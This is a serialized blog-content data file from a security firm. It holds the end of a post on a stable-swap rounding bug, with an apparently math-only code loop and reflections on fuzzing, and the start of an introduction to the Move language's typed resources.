c\n",{"type":23,"tag":481,"props":2256,"children":2257},{"class":483,"line":351},[2258,2263,2267,2272,2276,2281],{"type":23,"tag":481,"props":2259,"children":2260},{"style":497},[2261],{"type":28,"value":2262}," let",{"type":23,"tag":481,"props":2264,"children":2265},{"style":497},[2266],{"type":28,"value":505},{"type":23,"tag":481,"props":2268,"children":2269},{"style":508},[2270],{"type":28,"value":2271}," y_prev",{"type":23,"tag":481,"props":2273,"children":2274},{"style":514},[2275],{"type":28,"value":287},{"type":23,"tag":481,"props":2277,"children":2278},{"style":943},[2279],{"type":28,"value":2280}," U256",{"type":23,"tag":481,"props":2282,"children":2283},{"style":525},[2284],{"type":28,"value":528},{"type":23,"tag":481,"props":2286,"children":2287},{"class":483,"line":531},[2288,2292,2296,2300,2304,2308],{"type":23,"tag":481,"props":2289,"children":2290},{"style":497},[2291],{"type":28,"value":2262},{"type":23,"tag":481,"props":2293,"children":2294},{"style":497},[2295],{"type":28,"value":505},{"type":23,"tag":481,"props":2297,"children":2298},{"style":508},[2299],{"type":28,"value":511},{"type":23,"tag":481,"props":2301,"children":2302},{"style":514},[2303],{"type":28,"value":517},{"type":23,"tag":481,"props":2305,"children":2306},{"style":508},[2307],{"type":28,"value":522},{"type":23,"tag":481,"props":2309,"children":2310},{"style":525},[2311],{"type":28,"value":528},{"type":23,"tag":481,"props":2313,"children":2314},{"class":483,"line":567},[2315,2320,2324,2328,2332,2336],{"type":23,"tag":481,"props":2316,"children":2317},{"style":535},[2318],{"type":28,"value":2319}," for",{"type":23,"tag":481,"props":2321,"children":2322},{"style":508},[2323],{"type":28,"value":543},{"type":23,"tag":481,"props":2325,"children":2326},{"style":497},[2327],{"type":28,"value":548},{"type":23,"tag":481,"props":2329,"children":2330},{"style":551},[2331],{"type":28,"value":554},{"type":23,"tag":481,"props":2333,"children":2334},{"style":514},[2335],{"type":28,"value":559},{"type":23,"tag":481,"props":2337,"children":2338},{"style":525},[2339],{"type":28,"value":564},{"type":23,"tag":481,"props":2341,"children":2342},{"class":483,"line":678},[2343,2347,2352,2356,2360],{"type":23,"tag":481,"props":2344,"children":2345},{"style":514},[2346],{"type":28,"value":1876},{"type":23,"tag":481,"props":2348,"children":2349},{"style":508},[2350],{"type":28,"value":2351}," y_prev",{"type":23,"tag":481,"props":2353,"children":2354},{"style":514},[2355],{"type":28,"value":517},{"type":23,"tag":481,"props":2357,"children":2358},{"style":508},[2359],{"type":28,"value":511},{"type":23,"tag":481,"props":2361,"children":2362},{"style":525},[2363],{"type":28,"value":528},{"type":23,"tag":481,"props":2365,"children":2366},{"class":483,"line":784},[2367,2371,2376,2380,2384,2388,2392,2396,2400,2404,2408,2412,2416,2420,2424,2428,2432,2436],{"type":23,"tag":481,"props":2368,"children":2369},{"style":514},[2370],{"type":28,"value":1876},{"type":23,"tag":481,"props":2372,"children":2373},{"style":508},[2374],{"type":28,"value":2375}," y",{"type":23,"tag":481,"props":2377,"children":2378},{"style":514},[2379],{"type":28,"value":517},{"type":23,"tag":481,"props":2381,"children":2382},{"style":525},[2383],{"type":28,"value":578},{"type":23,"tag":481,"props":2385,"children":2386},{"style":610},[2387],{"type":28,"value":613},{"type":23,"tag":481,"props":2389,"children":2390},{"style":525},[2391],{"type":28,"value":618},{"type":23,"tag":481,"props":2393,"children":2394},{"style":514},[2395],{"type":28,"value":623},{"type":23,"tag":481,"props":2397,"children":2398},{"style":508},[2399],{"type":28,"value":628},{"type":23,"tag":481,"props":2401,"children":2402},{"style":525},[2403],{"type":28,"value":588},{"type":23,"tag":481,"props":2405,"children":2406},{"style":551},[2407],{"type":28,"value":637},{"type":23,"tag":481,"props":2409,"children":2410},{"style":525},[2411],{"type":28,"value":642},{"type":23,"tag":481,"props":2413,"children":2414},{"style":514},[2415],{"type":28,"value":647},{"type":23,"tag":481,"props":2417,"children":2418},{"style":610},[2419],{"type":28,"value":652},{"type":23,"tag":481,"props":2421,"children":2422},{"style":525},[2423],{"type":28,"value":618},{"type":23,"tag":481,"props":2425,"children":2426},{"style":508},[2427],{"type":28,"value":661},{"type":23,"tag":481,"props":2429,"children":2430},{"style":525},[2431],{"type":28,"value":642},{"type":23,"tag":481,"props":2433,"children":2434},{"style":514},[2435],{"type":28,"value":670},{"type":23,"tag":481,"props":2437,"children":2438},{"style":525},[2439],{"type":28,"value":675},{"type":23,"tag":481,"props":2441,"children":2442},{"class":483,"line":812},[2443,2447,2451,2456,2460,2464,2468,2472,2476,2480,2484,2488,2492,2496,2500,2504,2508,2512,2516,2520,2524,2528,2532,2536,2540],{"type":23,"tag":481,"props":2444,"children":2445},{"style":514},[2446],{"type":28,"value":1876},{"type":23,"tag":481,"props":2448,"children":2449},{"style":514},[2450],{"type":28,"value":684},{"type":23,"tag":481,"props":2452,"children":2453},{"style":610},[2454],{"type":28,"value":2455},"checked_div",{"type":23,"tag":481,"props":2457,"children":2458},{"style":525},[2459],{"type":28,"value":618},{"type":23,"tag":481,"props":2461,"children":2462},{"style":610},[2463],{"type":28,"value":698},{"type":23,"tag":481,"props":2465,"children":2466},{"style":525},[2467],{"type":28,"value":618},{"type":23,"tag":481,"props":2469,"children":2470},{"style":514},[2471],{"type":28,"value":623},{"type":23,"tag":481,"props":2473,"children":2474},{"style":508},[2475],{"type":28,"value":628},{"type":23,"tag":481,"props":2477,"children":2478},{"style":525},[2479],{"type":28,"value":588},{"type":23,"tag":481,"props":2481,"children":2482},{"style":551},[2483],{"type":28,"value":637},{"type":23,"tag":481,"props":2485,"children":2486},{"style":525},[2487],{"type":28,"value":642},{"type":23,"tag":481,"props":2489,"children":2490},{"style":514},[2491],{"type":28,"value":647},{"type":23,"tag":481,"props":2493,"children":2494},{"style":610},[2495],{"type":28,"value":652},{"type":23,"tag":481,"props":2497,"children":2498},{"style":525},[2499],{"type":28,"value":618},{"type":23,"tag":481,"props":2501,"children":2502},{"style":508},[2503],{"type":28,"value":739},{"type":23,"tag":481,"props":2505,"children":2506},{"style":525},[2507],{"type":28,"value":642},{"type":23,"tag":481,"props":2509,"children":2510},{"style":514},[2511],{"type":28,"value":647},{"type":23,"tag":481,"props":2513,"children":2514},{"style":610},[2515],{"type":28,"value":752},{"type":23,"tag":481,"props":2517,"children":2518},{"style":525},[2519],{"type":28,"value":618},{"type":23,"tag":481,"props":2521,"children":2522},{"style":508},[2523],{"type":28,"value":761},{"type":23,"tag":481,"props":2525,"children":2526},{"style":525},[2527],{"type":28,"value":642},{"type":23,"tag":481,"props":2529,"children":2530},{"style":514},[2531],{"type":28,"value":670},{"type":23,"tag":481,"props":2533,"children":2534},{"style":525},[2535],{"type":28,"value":642},{"type":23,"tag":481,"props":2537,"children":2538},{"style":514},[2539],{"type":28,"value":670},{"type":23,"tag":481,"props":2541,"children":2542},{"style":525},[2543],{"type":28,"value":528},{"type":23,"tag":481,"props":2545,"children":2546},{"class":483,"line":825},[2547,2551,2555,2559,2563,2567],{"type":23,"tag":481,"props":2548,"children":2549},{"style":514},[2550],{"type":28,"value":1876},{"type":23,"tag":481,"props":2552,"children":2553},{"style":535},[2554],{"type":28,"value":790},{"type":23,"tag":481,"props":2556,"children":2557},{"style":508},[2558],{"type":28,"value":511},{"type":23,"tag":481,"props":2560,"children":2561},{"style":514},[2562],{"type":28,"value":800},{"type":23,"tag":481,"props":2564,"children":2565},{"style":508},[2566],{"type":28,"value":2271},{"type":23,"tag":481,"props":2568,"children":2569},{"style":525},[2570],{"type":28,"value":809},{"type":23,"tag":481,"props":2572,"children":2573},{"class":483,"line":843},[2574,2578,2582,2586,2590,2594,2598,2602,2606,2610,2614,2618,2622,2626,2630,2634,2638,2642,2646,2650,2654,2658,2662],{"type":23,"tag":481,"props":2575,"children":2576},{"style":514},[2577],{"type":28,"value":1930},{"type":23,"tag":481,"props":2579,"children":2580},{"style":497},[2581],{"type":28,"value":573},{"type":23,"tag":481,"props":2583,"children":2584},{"style":525},[2585],{"type":28,"value":578},{"type":23,"tag":481,"props":2587,"children":2588},{"style":508},[2589],{"type":28,"value":583},{"type":23,"tag":481,"props":2591,"children":2592},{"style":525},[2593],{"type":28,"value":588},{"type":23,"tag":481,"props":2595,"children":2596},{"style":508},[2597],{"type":28,"value":593},{"type":23,"tag":481,"props":2599,"children":2600},{"style":525},[2601],{"type":28,"value":598},{"type":23,"tag":481,"props":2603,"children":2604},{"style":514},[2605],{"type":28,"value":603},{"type":23,"tag":481,"props":2607,"children":2608},{"style":525},[2609],{"type":28,"value":578},{"type":23,"tag":481,"props":2611,"children":2612},{"style":610},[2613],{"type":28,"value":613},{"type":23,"tag":481,"props":2615,"children":2616},{"style":525},[2617],{"type":28,"value":618},{"type":23,"tag":481,"props":2619,"children":2620},{"style":514},[2621],{"type":28,"value":623},{"type":23,"tag":481,"props":2623,"children":2624},{"style":508},[2625],{"type":28,"value":628},{"type":23,"tag":481,"props":2627,"children":2628},{"style":525},[2629],{"type":28,"value":588},{"type":23,"tag":481,"props":2631,"children":2632},{"style":551},[2633],{"type":28,"value":637},{"type":23,"tag":481,"props":2635,"children":2636},{"style":525},[2637],{"type":28,"value":642},{"type":23,"tag":481,"props":2639,"children":2640},{"style":514},[2641],{"type":28,"value":647},{"type":23,"tag":481,"props":2643,"children":2644},{"style":610},[2645],{"type":28,"value":652},{"type":23,"tag":481,"props":2647,"children":2648},{"style":525},[2649],{"type":28,"value":618},{"type":23,"tag":481,"props":2651,"children":2652},{"style":508},[2653],{"type":28,"value":661},{"type":23,"tag":481,"props":2655,"children":2656},{"style":525},[2657],{"type":28,"value":642},{"type":23,"tag":481,"props":2659,"children":2660},{"style":514},[2661],{"type":28,"value":670},{"type":23,"tag":481,"props":2663,"children":2664},{"style":525},[2665],{"type":28,"value":675},{"type":23,"tag":481,"props":2667,"children":2668},{"class":483,"line":864},[2669,2673,2677,2681,2685,2689,2693,2697,2701,2705,2709,2713,2717,2721,2725,2729,2733,2737,2741,2745,2749,2753,2757,2761,2765],{"type":23,"tag":481,"props":2670,"children":2671},{"style":514},[2672],{"type":28,"value":1930},{"type":23,"tag":481,"props":2674,"children":2675},{"style":514},[2676],{"type":28,"value":684},{"type":23,"tag":481,"props":2678,"children":2679},{"style":610},[2680],{"type":28,"value":689},{"type":23,"tag":481,"props":2682,"children":2683},{"style":525},[2684],{"type":28,"value":618},{"type":23,"tag":481,"props":2686,"children":2687},{"style":610},[2688],{"type":28,"value":698},{"type":23,"tag":481,"props":2690,"children":2691},{"style":525},[2692],{"type":28,"value":618},{"type":23,"tag":481,"props":2694,"children":2695},{"style":514},[2696],{"type":28,"value":623},{"type":23,"tag":481,"props":2698,"children":2699},{"style":508},[2700],{"type":28,"value":628},{"type":23,"tag":481,"props":2702,"children":2703},{"style":525},[2704],{"type":28,"value":588},{"type":23,"tag":481,"props":2706,"children":2707},{"style":551},[2708],{"type":28,"value":637},{"type":23,"tag":481,"props":2710,"children":2711},{"style":525},[2712],{"type":28,"value":642},{"type":23,"tag":481,"props":2714,"children":2715},{"style":514},[2716],{"type":28,"value":647},{"type":23,"tag":481,"props":2718,"children":2719},{"style":610},[2720],{"type":28,"value":652},{"type":23,"tag":481,"props":2722,"children":2723},{"style":525},[2724],{"type":28,"value":618},{"type":23,"tag":481,"props":2726,"children":2727},{"style":508},[2728],{"type":28,"value":739},{"type":23,"tag":481,"props":2730,"children":2731},{"style":525},[2732],{"type":28,"value":642},{"type":23,"tag":481,"props":2734,"children":2735},{"style":514},[2736],{"type":28,"value":647},{"type":23,"tag":481,"props":2738,"children":2739},{"style":610},[2740],{"type":28,"value":752},{"type":23,"tag":481,"props":2742,"children":2743},{"style":525},[2744],{"type":28,"value":618},{"type":23,"tag":481,"props":2746,"children":2747},{"style":508},[2748],{"type":28,"value":761},{"type":23,"tag":481,"props":2750,"children":2751},{"style":525},[2752],{"type":28,"value":642},{"type":23,"tag":481,"props":2754,"children":2755},{"style":514},[2756],{"type":28,"value":670},{"type":23,"tag":481,"props":2758,"children":2759},{"style":525},[2760],{"type":28,"value":642},{"type":23,"tag":481,"props":2762,"children":2763},{"style":514},[2764],{"type":28,"value":670},{"type":23,"tag":481,"props":2766,"children":2767},{"style":525},[2768],{"type":28,"value":528},{"type":23,"tag":481,"props":2770,"children":2771},{"class":483,"line":873},[2772,2776,2780,2784,2788,2792],{"type":23,"tag":481,"props":2773,"children":2774},{"style":514},[2775],{"type":28,"value":1930},{"type":23,"tag":481,"props":2777,"children":2778},{"style":535},[2779],{"type":28,"value":790},{"type":23,"tag":481,"props":2781,"children":2782},{"style":508},[2783],{"type":28,"value":795},{"type":23,"tag":481,"props":2785,"children":2786},{"style":514},[2787],{"type":28,"value":800},{"type":23,"tag":481,"props":2789,"children":2790},{"style":508},[2791],{"type":28,"value":511},{"type":23,"tag":481,"props":2793,"children":2794},{"style":525},[2795],{"type":28,"value":809},{"type":23,"tag":481,"props":2797,"children":2798},{"class":483,"line":1125},[2799,2804],{"type":23,"tag":481,"props":2800,"children":2801},{"style":535},[2802],{"type":28,"value":2803}," break",{"type":23,"tag":481,"props":2805,"children":2806},{"style":525},[2807],{"type":28,"value":528},{"type":23,"tag":481,"props":2809,"children":2810},{"class":483,"line":1142},[2811,2815,2819,2823],{"type":23,"tag":481,"props":2812,"children":2813},{"style":514},[2814],{"type":28,"value":1930},{"type":23,"tag":481,"props":2816,"children":2817},{"style":525},[2818],{"type":28,"value":831},{"type":23,"tag":481,"props":2820,"children":2821},{"style":535},[2822],{"type":28,"value":836},{"type":23,"tag":481,"props":2824,"children":2825},{"style":525},[2826],{"type":28,"value":809},{"type":23,"tag":481,"props":2828,"children":2829},{"class":483,"line":1159},[2830,2834,2838,2842,2846],{"type":23,"tag":481,"props":2831,"children":2832},{"style":514},[2833],{"type":28,"value":1930},{"type":23,"tag":481,"props":2835,"children":2836},{"style":508},[2837],{"type":28,"value":849},{"type":23,"tag":481,"props":2839,"children":2840},{"style":514},[2841],{"type":28,"value":517},{"type":23,"tag":481,"props":2843,"children":2844},{"style":508},[2845],{"type":28,"value":795},{"type":23,"tag":481,"props":2847,"children":2848},{"style":525},[2849],{"type":28,"value":528},{"type":23,"tag":481,"props":2851,"children":2852},{"class":483,"line":1172},[2853],{"type":23,"tag":481,"props":2854,"children":2855},{"style":525},[2856],{"type":28,"value":2857}," }\n",{"type":23,"tag":31,"props":2859,"children":2861},{"id":2860},"closing-thoughts",[2862],{"type":28,"value":2863},"Closing Thoughts",{"type":23,"tag":24,"props":2865,"children":2866},{},[2867],{"type":28,"value":2868},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":23,"tag":24,"props":2870,"children":2871},{},[2872,2874,2880],{"type":28,"value":2873},"Another interesting takeaway is that ",{"type":23,"tag":2875,"props":2876,"children":2877},"strong",{},[2878],{"type":28,"value":2879},"fuzzing can give a false sense of security",{"type":28,"value":2881},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":23,"tag":24,"props":2883,"children":2884},{},[2885,2887,2894],{"type":28,"value":2886},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":23,"tag":190,"props":2888,"children":2891},{"href":2889,"rel":2890},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[194],[2892],{"type":28,"value":2893},"port-mortem of the NSS overflow",{"type":28,"value":199},{"type":23,"tag":24,"props":2896,"children":2897},{},[2898],{"type":23,"tag":149,"props":2899,"children":2901},{"alt":7,"src":2900},"/posts/spl-swap/p0.png",[],{"type":23,"tag":24,"props":2903,"children":2904},{},[2905],{"type":28,"value":2906},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":23,"tag":24,"props":2908,"children":2909},{},[2910],{"type":28,"value":2911},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":23,"tag":24,"props":2913,"children":2914},{},[2915],{"type":28,"value":2916},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":23,"tag":2918,"props":2919,"children":2920},"style",{},[2921],{"type":28,"value":2922},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":351,"depth":351,"links":2924},[2925,2926,2927,2928],{"id":411,"depth":351,"text":414},{"id":1466,"depth":351,"text":1469},{"id":1773,"depth":351,"text":1776},{"id":2860,"depth":351,"text":2863},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"image":2933,"date":14,"isFeatured":15,"onBlogPage":15,"tags":2934,"body":2935,"_type":358,"_id":359,"_source":360,"_file":361,"_stem":362,"_extension":363},{"src":11,"width":12,"height":13},[17,18],{"type":20,"children":2936,"toc":3184},[2937,2941,2945,2949,2953,2957,2961,2971,3009,3032,3039,3043,3047,3051,3055,3065,3077,3081,3085,3097,3101,3105,3117,3123,3127,3136,3142,3146,3150,3154,3158,3162,3166,3170,3174],{"type":23,"tag":24,"props":2938,"children":2939},{},[2940],{"type":28,"value":29},{"type":23,"tag":31,"props":2942,"children":2943},{"id":33},[2944],{"type":28,"value":36},{"type":23,"tag":24,"props":2946,"children":2947},{},[2948],{"type":28,"value":41},{"type":23,"tag":24,"props":2950,"children":2951},{},[2952],{"type":28,"value":46},{"type":23,"tag":24,"props":2954,"children":2955},{},[2956],{"type":28,"value":51},{"type":23,"tag":31,"props":2958,"children":2959},{"id":54},[2960],{"type":28,"value":57},{"type":23,"tag":24,"props":2962,"children":2963},{},[2964,2965,2970],{"type":28,"value":62},{"type":23,"tag":64,"props":2966,"children":2968},{"className":2967},[],[2969],{"type":28,"value":69},{"type":28,"value":71},{"type":23,"tag":73,"props":2972,"children":2973},{},[2974,2978,2982,2986,2995,2999],{"type":23,"tag":77,"props":2975,"children":2976},{},[2977],{"type":28,"value":81},{"type":23,"tag":77,"props":2979,"children":2980},{},[2981],{"type":28,"value":86},{"type":23,"tag":77,"props":2983,"children":2984},{},[2985],{"type":28,"value":91},{"type":23,"tag":77,"props":2987,"children":2988},{},[2989,2990],{"type":28,"value":96},{"type":23,"tag":64,"props":2991,"children":2993},{"className":2992},[],[2994],{"type":28,"value":102},{"type":23,"tag":77,"props":2996,"children":2997},{},[2998],{"type":28,"value":107},{"type":23,"tag":77,"props":3000,"children":3001},{},[3002,3003,3008],{"type":28,"value":112},{"type":23,"tag":64,"props":3004,"children":3006},{"className":3005},[],[3007],{"type":28,"value":118},{"type":28,"value":120},{"type":23,"tag":24,"props":3010,"children":3011},{},[3012,3013,3017,3018,3023,3024,3028,3029],{"type":28,"value":125},{"type":23,"tag":127,"props":3014,"children":3015},{},[3016],{"type":28,"value":131},{"type":28,"value":133},{"type":23,"tag":64,"props":3019,"children":3021},{"className":3020},[],[3022],{"type":28,"value":69},{"type":28,"value":140},{"type":23,"tag":127,"props":3025,"children":3026},{},[3027],{"type":28,"value":145},{"type":28,"value":147},{"type":23,"tag":149,"props":3030,"children":3031},{"src":151,"alt":152},[],{"type":23,"tag":24,"props":3033,"children":3034},{},[3035,3036],{"type":28,"value":158},{"type":23,"tag":149,"props":3037,"children":3038},{"src":161,"alt":152},[],{"type":23,"tag":24,"props":3040,"children":3041},{},[3042],{"type":28,"value":167},{"type":23,"tag":24,"props":3044,"children":3045},{},[3046],{"type":28,"value":172},{"type":23,"tag":24,"props":3048,"children":3049},{},[3050],{"type":28,"value":177},{"type":23,"tag":31,"props":3052,"children":3053},{"id":180},[3054],{"type":28,"value":183},{"type":23,"tag":24,"props":3056,"children":3057},{},[3058,3059,3064],{"type":28,"value":188},{"type":23,"tag":190,"props":3060,"children":3062},{"href":192,"rel":3061},[194],[3063],{"type":28,"value":197},{"type":28,"value":199},{"type":23,"tag":24,"props":3066,"children":3067},{},[3068,3073,3074],{"type":23,"tag":190,"props":3069,"children":3071},{"href":205,"rel":3070},[194],[3072],{"type":28,"value":209},{"type":28,"value":211},{"type":23,"tag":149,"props":3075,"children":3076},{"alt":7,"src":214},[],{"type":23,"tag":24,"props":3078,"children":3079},{},[3080],{"type":28,"value":220},{"type":23,"tag":24,"props":3082,"children":3083},{},[3084],{"type":28,"value":225},{"type":23,"tag":24,"props":3086,"children":3087},{},[3088,3093,3094],{"type":23,"tag":190,"props":3089,"children":3091},{"href":231,"rel":3090},[194],[3092],{"type":28,"value":235},{"type":28,"value":211},{"type":23,"tag":149,"props":3095,"children":3096},{"alt":7,"src":239},[],{"type":23,"tag":24,"props":3098,"children":3099},{},[3100],{"type":28,"value":220},{"type":23,"tag":24,"props":3102,"children":3103},{},[3104],{"type":28,"value":249},{"type":23,"tag":24,"props":3106,"children":3107},{},[3108,3113,3114],{"type":23,"tag":190,"props":3109,"children":3111},{"href":255,"rel":3110},[194],[3112],{"type":28,"value":259},{"type":28,"value":211},{"type":23,"tag":149,"props":3115,"children":3116},{"alt":7,"src":263},[],{"type":23,"tag":24,"props":3118,"children":3119},{},[3120],{"type":23,"tag":149,"props":3121,"children":3122},{"alt":7,"src":270},[],{"type":23,"tag":24,"props":3124,"children":3125},{},[3126],{"type":28,"value":276},{"type":23,"tag":24,"props":3128,"children":3129},{},[3130,3135],{"type":23,"tag":190,"props":3131,"children":3133},{"href":282,"rel":3132},[194],[3134],{"type":28,"value":235},{"type":28,"value":287},{"type":23,"tag":24,"props":3137,"children":3138},{},[3139],{"type":23,"tag":149,"props":3140,"children":3141},{"alt":7,"src":293},[],{"type":23,"tag":24,"props":3143,"children":3144},{},[3145],{"type":28,"value":220},{"type":23,"tag":24,"props":3147,"children":3148},{},[3149],{"type":28,"value":303},{"type":23,"tag":31,"props":3151,"children":3152},{"id":306},[3153],{"type":28,"value":309},{"type":23,"tag":24,"props":3155,"children":3156},{},[3157],{"type":28,"value":314},{"type":23,"tag":24,"props":3159,"children":3160},{},[3161],{"type":28,"value":319},{"type":23,"tag":24,"props":3163,"children":3164},{},[3165],{"type":28,"value":324},{"type":23,"tag":31,"props":3167,"children":3168},{"id":327},[3169],{"type":28,"value":330},{"type":23,"tag":24,"props":3171,"children":3172},{},[3173],{"type":28,"value":335},{"type":23,"tag":24,"props":3175,"children":3176},{},[3177,3178,3183],{"type":28,"value":340},{"type":23,"tag":190,"props":3179,"children":3181},{"href":343,"rel":3180},[194],[3182],{"type":28,"value":347},{"type":28,"value":349},{"title":7,"searchDepth":351,"depth":351,"links":3185},[3186,3187,3188,3189,3190],{"id":33,"depth":351,"text":36},{"id":54,"depth":351,"text":57},{"id":180,"depth":351,"text":183},{"id":306,"depth":351,"text":309},{"id":327,"depth":351,"text":330},{"_path":3192,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":3193,"description":3194,"author":3195,"image":3196,"date":3200,"isFeatured":15,"onBlogPage":15,"body":3201,"_type":358,"_id":6739,"_source":360,"_file":6740,"_stem":6741,"_extension":363},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":3197,"height":3198,"width":3199},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":20,"children":3202,"toc":6734},[3203,3208,3213,3232,3238,3250,3349,3357,3477,3485,3507,3660,3665,3923,3945,3980,3985,4005,4010,4021,4033,4245,4257,4271,4284,4541,4553,4775,4780,4808,4954,4973,4978,5243,5255,5260,5273,5279,5284,5289,5301,5315,5320,5419,5431,5444,5718,5723,5735,5740,5794,5814,5819,6703,6707,6712,6717,6730],{"type":23,"tag":24,"props":3204,"children":3205},{},[3206],{"type":28,"value":3207},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":23,"tag":24,"props":3209,"children":3210},{},[3211],{"type":28,"value":3212},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":23,"tag":24,"props":3214,"children":3215},{},[3216,3218,3223,3225,3230],{"type":28,"value":3217},"In this piece I'll seek to discuss exactly ",{"type":23,"tag":127,"props":3219,"children":3220},{},[3221],{"type":28,"value":3222},"how",{"type":28,"value":3224}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":23,"tag":127,"props":3226,"children":3227},{},[3228],{"type":28,"value":3229},"structurally",{"type":28,"value":3231}," safer programs.",{"type":23,"tag":31,"props":3233,"children":3235},{"id":3234},"types",[3236],{"type":28,"value":3237},"Types",{"type":23,"tag":24,"props":3239,"children":3240},{},[3241,3243,3249],{"type":28,"value":3242},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":23,"tag":64,"props":3244,"children":3246},{"className":3245},[],[3247],{"type":28,"value":3248},"coin.move",{"type":28,"value":199},{"type":23,"tag":435,"props":3251,"children":3253},{"className":475,"code":3252,"language":474,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[3254],{"type":23,"tag":64,"props":3255,"children":3256},{"__ignoreMap":7},[3257,3265,3312,3320,3341],{"type":23,"tag":481,"props":3258,"children":3259},{"class":483,"line":484},[3260],{"type":23,"tag":481,"props":3261,"children":3262},{"style":488},[3263],{"type":28,"value":3264}," /// Main structure representing a coin/token in an account's custody.\n",{"type":23,"tag":481,"props":3266,"children":3267},{"class":483,"line":351},[3268,3273,3278,3283,3288,3293,3298,3303,3308],{"type":23,"tag":481,"props":3269,"children":3270},{"style":497},[3271],{"type":28,"value":3272}," struct",{"type":23,"tag":481,"props":3274,"children":3275},{"style":943},[3276],{"type":28,"value":3277}," Coin",{"type":23,"tag":481,"props":3279,"children":3280},{"style":525},[3281],{"type":28,"value":3282},"\u003C",{"type":23,"tag":481,"props":3284,"children":3285},{"style":508},[3286],{"type":28,"value":3287},"phantom",{"type":23,"tag":481,"props":3289,"children":3290},{"style":943},[3291],{"type":28,"value":3292}," CoinType",{"type":23,"tag":481,"props":3294,"children":3295},{"style":525},[3296],{"type":28,"value":3297},"> ",{"type":23,"tag":481,"props":3299,"children":3300},{"style":508},[3301],{"type":28,"value":3302},"has",{"type":23,"tag":481,"props":3304,"children":3305},{"style":508},[3306],{"type":28,"value":3307}," store",{"type":23,"tag":481,"props":3309,"children":3310},{"style":525},[3311],{"type":28,"value":809},{"type":23,"tag":481,"props":3313,"children":3314},{"class":483,"line":531},[3315],{"type":23,"tag":481,"props":3316,"children":3317},{"style":488},[3318],{"type":28,"value":3319}," /// Amount of coin this address has.\n",{"type":23,"tag":481,"props":3321,"children":3322},{"class":483,"line":567},[3323,3328,3332,3337],{"type":23,"tag":481,"props":3324,"children":3325},{"style":508},[3326],{"type":28,"value":3327}," value",{"type":23,"tag":481,"props":3329,"children":3330},{"style":514},[3331],{"type":28,"value":287},{"type":23,"tag":481,"props":3333,"children":3334},{"style":943},[3335],{"type":28,"value":3336}," u64",{"type":23,"tag":481,"props":3338,"children":3339},{"style":525},[3340],{"type":28,"value":1033},{"type":23,"tag":481,"props":3342,"children":3343},{"class":483,"line":678},[3344],{"type":23,"tag":481,"props":3345,"children":3346},{"style":525},[3347],{"type":28,"value":3348}," }\n",{"type":23,"tag":24,"props":3350,"children":3351},{},[3352],{"type":23,"tag":127,"props":3353,"children":3354},{},[3355],{"type":28,"value":3356},"aptos",{"type":23,"tag":435,"props":3358,"children":3360},{"className":475,"code":3359,"language":474,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[3361],{"type":23,"tag":64,"props":3362,"children":3363},{"__ignoreMap":7},[3364,3372,3422,3439,3470],{"type":23,"tag":481,"props":3365,"children":3366},{"class":483,"line":484},[3367],{"type":23,"tag":481,"props":3368,"children":3369},{"style":488},[3370],{"type":28,"value":3371}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":23,"tag":481,"props":3373,"children":3374},{"class":483,"line":351},[3375,3379,3383,3387,3391,3396,3400,3404,3409,3413,3418],{"type":23,"tag":481,"props":3376,"children":3377},{"style":497},[3378],{"type":28,"value":3272},{"type":23,"tag":481,"props":3380,"children":3381},{"style":943},[3382],{"type":28,"value":3277},{"type":23,"tag":481,"props":3384,"children":3385},{"style":525},[3386],{"type":28,"value":3282},{"type":23,"tag":481,"props":3388,"children":3389},{"style":508},[3390],{"type":28,"value":3287},{"type":23,"tag":481,"props":3392,"children":3393},{"style":943},[3394],{"type":28,"value":3395}," T",{"type":23,"tag":481,"props":3397,"children":3398},{"style":525},[3399],{"type":28,"value":3297},{"type":23,"tag":481,"props":3401,"children":3402},{"style":508},[3403],{"type":28,"value":3302},{"type":23,"tag":481,"props":3405,"children":3406},{"style":508},[3407],{"type":28,"value":3408}," 